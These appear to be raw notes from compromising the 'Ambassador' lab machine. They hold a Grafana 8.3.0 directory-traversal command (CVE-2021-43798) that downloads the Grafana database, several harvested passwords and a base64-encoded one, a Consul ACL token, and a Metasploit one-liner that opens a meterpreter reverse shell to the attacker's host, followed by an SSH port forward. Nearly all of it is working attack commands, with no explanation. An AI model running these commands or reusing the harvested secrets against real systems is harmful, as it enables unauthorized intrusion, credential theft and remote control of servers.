Ambassador

Grafana 8.3.0 - Directory Traversal and Arbitrary File Read

Grafana 8.3.0 - Directory Traversal and Arbitrary File Read. CVE-2021-43798 . webapps exploit for Multiple platform

https://www.exploit-db.com/exploits/50581

/usr/local/etc/grafana/grafana.ini

$WORKING_DIR/conf/defaults.ini

messageInABottle685427

finally downloaded

dontStandSoCloseToMe63221!

sudo curl --path-as-is http://10.129.51.239:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

use plugin from list

YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==

anEnglishManInNewYork027468

consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

sudo msfconsole -q -x "use multi/misc/consul_service_exec; set payload linux/x86/meterpreter/reverse_tcp;set rhosts 127.0.0.1; set lhost 10.10.14.46; set acl_token bb03b43b-1d81-d62b-24b5-39540ee469b5; set lport 4444; exploit"

ssh -L 8500:0.0.0.0:8500 developer@10.129.51.239